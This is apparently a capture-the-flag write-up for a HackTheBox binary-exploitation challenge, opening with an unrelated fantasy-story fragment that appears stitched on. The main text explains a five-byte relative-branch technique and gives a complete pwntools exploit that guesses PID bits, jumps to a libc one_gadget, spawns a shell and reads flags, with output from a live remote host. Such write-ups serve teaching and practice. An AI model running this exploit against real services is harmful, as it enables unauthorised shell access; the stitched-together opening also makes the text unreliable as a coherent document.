Rogat lost a blood-price dispute his clan should have won [...] Rin gets inside the Iron Vultures' camp before Rogat gets sold to whoever bids highest for his silence. He isn't chained the way a giant should be. The rig holding him is old work, something built by a border people who don't have a name anymore, the kind of craft Garran Voss grew up around on the winter keep before Crownspire ever took him in. He taught her the shape of it once, half as history, half as a joke about a dead trade nobody would ever need again. She needs every piece of that joke to be true.
Five bytes. That is the entire input budget - read into an RWX page and executed, with a filter that permits exactly one relative branch and nothing else. It happens twice, under different rules, and the second time the target is a one_gadget in libc.
$ ls -la
-rw-r--r--@ 1 feyrer staff 269 May 10 16:08 Dockerfile
-rwxrwxr-x@ 1 feyrer staff 236616 May 17 03:59 challenge/glibc/ld-linux-x86-64.so.2
-rwxrwxr-x@ 1 feyrer staff 2125328 May 17 03:59 challenge/glibc/libc.so.6
-rwxrwxr-x@ 1 feyrer staff 18496 May 17 05:51 challenge/words_from_the_past
$ file challenge/words_from_the_past
challenge/words_from_the_past: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, stripped
$ pwn checksec challenge/words_from_the_past
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'$ORIGIN/glibc'
Every mitigation enabled, and stripped on top - the opposite of the usual "one missing protection is the way in". Whatever the bug is, it is not a missing flag. The bundled glibc is a hint of its own: it is there because the exploit will need its exact addresses.
The Dockerfile shows how the service is exposed:
FROM alpine:latest
RUN apk add --no-cache socat dash && ln -sf /usr/bin/dash /bin/sh
EXPOSE 1337
RUN addgroup -S ctf && adduser -S ctf -G ctf
COPY challenge/ /home/ctf/
WORKDIR /home/ctf
USER ctf
CMD ["socat", "tcp-l:1337,reuseaddr,fork", "EXEC:./words_from_the_past"]
socat ... fork EXEC:./words_from_the_past - so every connection is a
fresh process with a fresh PID. That detail turns out to matter enormously.
The program itself prints nothing at all. It reads, and either something happens or the connection dies.
Stripped, so Ghidra gives no names - but the binary is small, and main holds
the entire mechanism. Decompiled and annotated, it fits on one screen:
main in Ghidra. Function names are annotations added while reading - the
binary is stripped.
Reading it top to bottom:
fork(); the parent sits in waitpid()
and exits. Only the child continues, which is why a failed attempt does not necessarily
drop the connection (see step 3.6).prctl(4, 0) is PR_SET_DUMPABLE, 0: no
coredumps, no ptrace attach.DAT_00105030_state selects the
whole configuration: mmap address, mmap flags (local_44) and the
expected opcode (local_45, 0xe8 then
0xe9).mmap(addr, 0x1000, 7, flags, -1, 0). Protection 7 is
RWX.read(0, page, 5). Five bytes, and fewer is a hard
exit.local_45, and a timing check.(*UNRECOVERED_JUMPTABLE)(): the page is called. Ghidra
cannot follow it, hence the name.So the five bytes have to survive four rules:
0x00 - NUL0x0a - newline, which would end the input early0xcc - int3, the breakpoint instruction0xe8 (call) in stage 1 and
0xe9 (jmp) in stage 2
Conclusion: Five bytes with a mandatory E8/E9 first byte
is not a constraint, it is a specification: one relative branch,
opcode + int32 displacement, exactly 5 bytes. Nothing else fits. And a
relative branch is ASLR-independent by construction - it encodes a distance, not an
address. That is the whole idea of the challenge.
A state variable in .data suggests the read happens more than once.
| Stage 1 | Stage 2 | |
|---|---|---|
| page location | binary_base + 0x11000 |
libc_base - (0x1000 + getpid()&7) * 0x1000, MAP_FIXED |
| allowed opcode | E8 (call) | E9 (jmp) |
| reachable from there | the binary itself | libc |
Stage 1 is solvable with a constant. main sits at
binary_base + 0x16d5 and the page at binary_base + 0x11000, so
the displacement is a fixed -0xf930 regardless of where ASLR puts the image.
Calling back into main advances the state machine into stage 2:
STAGE1 = bytes.fromhex("e8d006ffff") # call -0xf930 -> main
Which raises the obvious question: why two stages at all - why not jump straight into libc from the first one? Because a relative branch has a range. The displacement is a signed 32-bit value, so it reaches at most +-2 GB. The stage 1 page lives next to the binary, and the distance from there to libc is 42.7 TB:
555555565000-555555566000 rwxp <- the stage 1 RWX page, next to the binary
7fffff5b1000-7fffff5d9000 r--p /home/ctf/glibc/libc.so.6
distance = 0x7fffff5b1000 - 0x555555565000 = 0x2aaaaa04c000 (42.7 TB)
reach of a rel32 branch = +-0x80000000 (2 GB)
Conclusion: From stage 1, libc is out of reach by a factor of ~21800 - the only
thing in range is the binary itself. So the first branch cannot be the payload; it can only
be used to get somewhere else. That is what makes stage 2 the real target: its
page is mapped MAP_FIXED a few pages below libc, which puts the entire library
inside the +-2 GB window. There a single jump reaches a one_gadget - except the distance
contains getpid() & 7.
Running the container locally and dumping /proc/PID/maps repeatedly showed the
same addresses every single time.
555555565000-555555566000 rwxp 00000000 00:00 0
7fffff5af000-7fffff5b1000 rw-p 00000000 00:00 0
7fffff5b1000-7fffff5d9000 r--p 00000000 00:3e 291575 /home/ctf/glibc/libc.so.6
(identical on run 2, run 3, ...)
=> looks stable!
Which would make the whole exercise pointless. But:
# cat /proc/sys/kernel/randomize_va_space
2 <- ASLR fully enabled
The host is Apple Silicon, so the amd64 container runs under emulation - first qemu, then Rosetta. Both flatten the address layout. Verifying on real x86 hardware:
$ strace -f -e trace=mmap,prctl,read ./words_from_the_past
[pid 1157305] mmap(0x55f0619fa6d5, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, ...) = 0x55f0619fa000
[pid 1157340] mmap(0x556c45a846d5, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, ...) = 0x556c45a84000
[pid 1157367] mmap(0x55f751cce6d5, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, ...) = 0x55f751cce000
=> ASLR!
Conclusion: The stable addresses were an artifact of the emulation layer, not a
property of the target. Worth remembering: an emulator is not a faithful ASLR
environment - conclusions about address randomisation drawn under Rosetta or qemu do
not transfer. Incidentally the strace also confirms the mmap hint is
...6d5 and gets rounded down to a page boundary.
With a relative jump into libc available, a single gadget that calls
execve("/bin/sh") is enough - no Return-Oriented Programming (ROP) chain fits in five bytes anyway.
$ one_gadget libc.so.6
0x583ec posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints: address rsp+0x68 is writable; rsp & 0xf == 0; ...
0x583f3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints: address rsp+0x68 is writable; rsp & 0xf == 0; ...
0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints: address rbp-0x48 is writable; ...
Tested locally against a known PID - where the displacement can be computed instead of
guessed - only 0x583f3 fired. The other posix_spawn gadget failed
even with a provably correct offset, because its register constraints do not hold at this
call site.
Conclusion: Use 0x583f3 first, but keep all four in the exploit: the
surviving constraint is rsp & 0xf == 0, and stack alignment depends on
environment and argv - which differ between the local run and the server.
Stage 2's page is at libc_base - (0x1000 + getpid()&7) * 0x1000. Computing
the jump distance to a gadget:
disp = gadget + (0x1000 + pid_low) * 0x1000 - 5
libc_base cancels out completely - that is why ASLR does not matter. But
pid & 7 does not cancel, and nothing in the program leaks it.
Conclusion: Three unknown bits, so eight possibilities - and because socat forks a fresh process per connection, every attempt draws a new PID. Guessing is free: reconnect and try the next value. Expected cost is a handful of connections, not a brute force.
An early version reported a shell on every attempt.
A wrong jump only kills the forked child. The parent stays in waitpid() and
then exits cleanly, so the connection does not necessarily drop - there is no error to
detect. Worse, recvuntil with a timeout returns b"" rather than
raising, so treating "no exception" as success declares victory every time.
Conclusion: Send a marker through the shell and require it in the response:
echo PWNED. Only a real shell echoes it back. This is the difference between
an exploit that works and one that merely appears to.
#!/usr/bin/env python3
"""
Exploit for words_from_the_past.
Five bytes of input are read into an RWX page and executed, and a filter
insists they be a single E8 (call) or E9 (jmp) - exactly one relative branch,
nothing else fits. The program runs that twice, with different rules:
stage 1 page sits at binary_base + 0x11000, opcode must be E8
main is at binary_base + 0x16d5, so the displacement is a
constant -0xf930 no matter where ASLR puts the image; calling
back into main advances the state machine
stage 2 page is mmap'd at libc_base - (0x1000 + getpid()&7) * 0x1000
with MAP_FIXED, opcode must be E9. From there libc is within
the +-2GB reach of a relative jump, so one jump into a
one_gadget is enough:
disp = gadget + (0x1000 + pid&7) * 0x1000 - 5
libc_base cancels out, but pid&7 does not, and nothing leaks it.
Hence the retry loop: each connection is a fresh process with a
fresh pid, so a wrong guess just costs one attempt.
Gadget 0x583f3 was picked by testing all four locally against a known pid,
where the displacement could be computed rather than guessed. The other
posix_spawn gadget never fired even with a provably correct offset - its
register constraints do not hold at the call site.
Usage:
python3 2exploit.py <host> <port>
python3 2exploit.py ./words_from_the_past # local binary
"""
import struct
import sys
from pwn import context, process, remote
context.log_level = "error"
STAGE1 = bytes.fromhex("e8d006ffff") # call -0xf930 -> main
MAX_ATTEMPTS = 400
MARKER = b"PWNED" # proof that a shell really answered
# All four one_gadgets from the bundled glibc 2.39. Locally only 0x583f3
# fired, but its constraint is rsp & 0xf == 0, and stack alignment depends on
# the environment and argv - which differ on the server. So try them all.
GADGETS = [0x583F3, 0x583EC, 0xEF4CE, 0xEF52B]
FORBIDDEN = {0x00, 0x0A, 0xCC} # NUL, newline, int3 are all rejected
def stage2(gadget, pid_low):
"""Relative jump from the second page up into libc."""
disp = gadget + (0x1000 + pid_low) * 0x1000 - 5
return b"\xe9" + struct.pack("<i", disp)
def connect(target):
if len(target) == 2:
return remote(target[0], int(target[1]))
return process(target[0])
def attempt(target, gadget, pid_low):
"""One shot with a guessed pid&7. Returns an open shell, or None.
A failed jump only kills the forked child; the parent stays in waitpid()
and then exits cleanly, so the connection does not necessarily drop. The
marker therefore has to be seen, not merely waited for - recvuntil with a
timeout returns b"" instead of raising, and treating that as success
reports a shell on every attempt.
"""
io = connect(target)
try:
io.send(STAGE1)
io.send(stage2(gadget, pid_low))
io.sendline(b"echo " + MARKER + b"; cat flag* /flag* 2>/dev/null")
seen = io.recvuntil(MARKER, timeout=3)
except Exception:
io.close()
return None
if MARKER not in seen:
io.close()
return None
return io
def main():
target = sys.argv[1:]
if not target:
sys.exit("usage: %s <host> <port> | %s <binary>"
% (sys.argv[0], sys.argv[0]))
for gadget in GADGETS:
for k in range(8):
payload = stage2(gadget, k)
assert not (set(payload) & FORBIDDEN), \
"gadget 0x%x, pid&7=%d hits a filtered byte" % (gadget, k)
for attempt_no in range(MAX_ATTEMPTS):
# Sweep pid&7 fastest: within one gadget, eight shots cover every
# possibility, so a working gadget shows up within eight attempts.
gadget = GADGETS[(attempt_no // 8) % len(GADGETS)]
pid_low = attempt_no % 8
io = attempt(target, gadget, pid_low)
if io is None:
continue
print("[+] shell after %d attempts (gadget 0x%x, pid&7 = %d)"
% (attempt_no + 1, gadget, pid_low))
print(io.recvrepeat(1).decode(errors="replace"))
io.interactive()
return
print("[-] no shell in %d attempts" % MAX_ATTEMPTS)
if __name__ == "__main__":
main()
Against the live service:
$ python3 2remote.py 154.57.164.78 32468
[+] shell after 1 attempts (guessed pid&7 = 0)
HTB{f1v3_byt3s_0f_pr3c1s10n_t0 rul3_th3m_4ll_b5347bf0a7e46ab2e3b1ac5df2300b15}
$ id
uid=100(ctf) gid=101(ctf) groups=101(ctf)
$ ls
flag.txt
glibc
words_from_the_past
$ cat flag.txt
HTB{f1v3_byt3s_0f_pr3c1s10n_t0 rul3_th3m_4ll_5da38b15d028faae2b4c437c96d65292}
The exploit reproduces against the shipped binary. The host is arm64 macOS, so it runs in an amd64 container - the same emulation caveat as in step 3.3 applies to the addresses, but not to the exploit, because it never uses an absolute one:
$ docker run --rm --platform linux/amd64 -v "$PWD:/w" -w /w pwnbox \
sh -c 'echo "HTB{local_test}" > challenge/flag.txt;
cd challenge && python3 ../2remote.py ./words_from_the_past'
[+] shell after 5 attempts (gadget 0x583f3, pid&7 = 4)
HTB{local_test}
Five attempts, and the run reports which guess landed - pid&7 = 4 with
gadget 0x583f3, exactly the one that was expected to work. That is the retry
loop from step 3.5 doing its job.
HTB{f1v3_byt3s_0f_pr3c1s10n_t0 rul3_th3m_4ll_5da38b15d028faae2b4c437c96d65292}
| # | Stage | Mechanism |
|---|---|---|
| 1 | The primitive | Five bytes are read into an RWX page and executed. A filter forbids
0x00, 0x0a, 0xcc and demands
E8/E9 as the first byte - which leaves exactly one legal
instruction: a relative call or jump. |
| 2 | Why ASLR is irrelevant | A relative branch encodes a distance, not an address. Both pages are placed at fixed offsets from something - the binary in stage 1, libc in stage 2 - so the randomised base cancels out of the arithmetic. |
| 3 | Why one stage is not enough | A relative branch also has a range: the displacement is a signed 32-bit value, so it reaches +-2 GB and no further. The stage 1 page sits next to the binary, and libc is nowhere near it - 42.7 TB away in the observed layout, about 21800 times the reach of a rel32 branch. libc simply cannot be reached from stage 1. That is the entire reason the challenge has two stages. |
| 4 | Stage 1 - move, do not shoot | Since only the binary itself is in range, the one branch is spent going nowhere
useful on purpose: call -0xf930 re-enters main
(page at binary_base + 0x11000, main at
binary_base + 0x16d5). Its only job is to advance the state machine. |
| 5 | Stage 2 - now libc is next door | The second read maps its page with MAP_FIXED at
libc_base - (0x1000 + pid&7) * 0x1000 - i.e. a few pages below
libc, deliberately. From there the whole library is well inside the +-2 GB
window, and a single jmp reaches a one_gadget:
disp = gadget + (0x1000 + pid_low) * 0x1000 - 5. |
| 6 | The three unknown bits | pid & 7 never leaks, so it is guessed. socat forks per connection, so
each attempt is a fresh PID - eight tries cover the space. |
The elegance is in what the five-byte limit forces. It is too small for shellcode, too
small for an address, too small for anything except a single relative branch - and a
relative branch is precisely the one construct that does not care about ASLR. The
designers then removed every absolute-address route (full Relocation Read-Only (RELRO), PIE, stripped, anti-debug,
LD_PRELOAD checks) so that the intended path is the only path. The
one deliberate leak left in the design is pid & 7, and it is small enough
to guess and cheap enough to retry.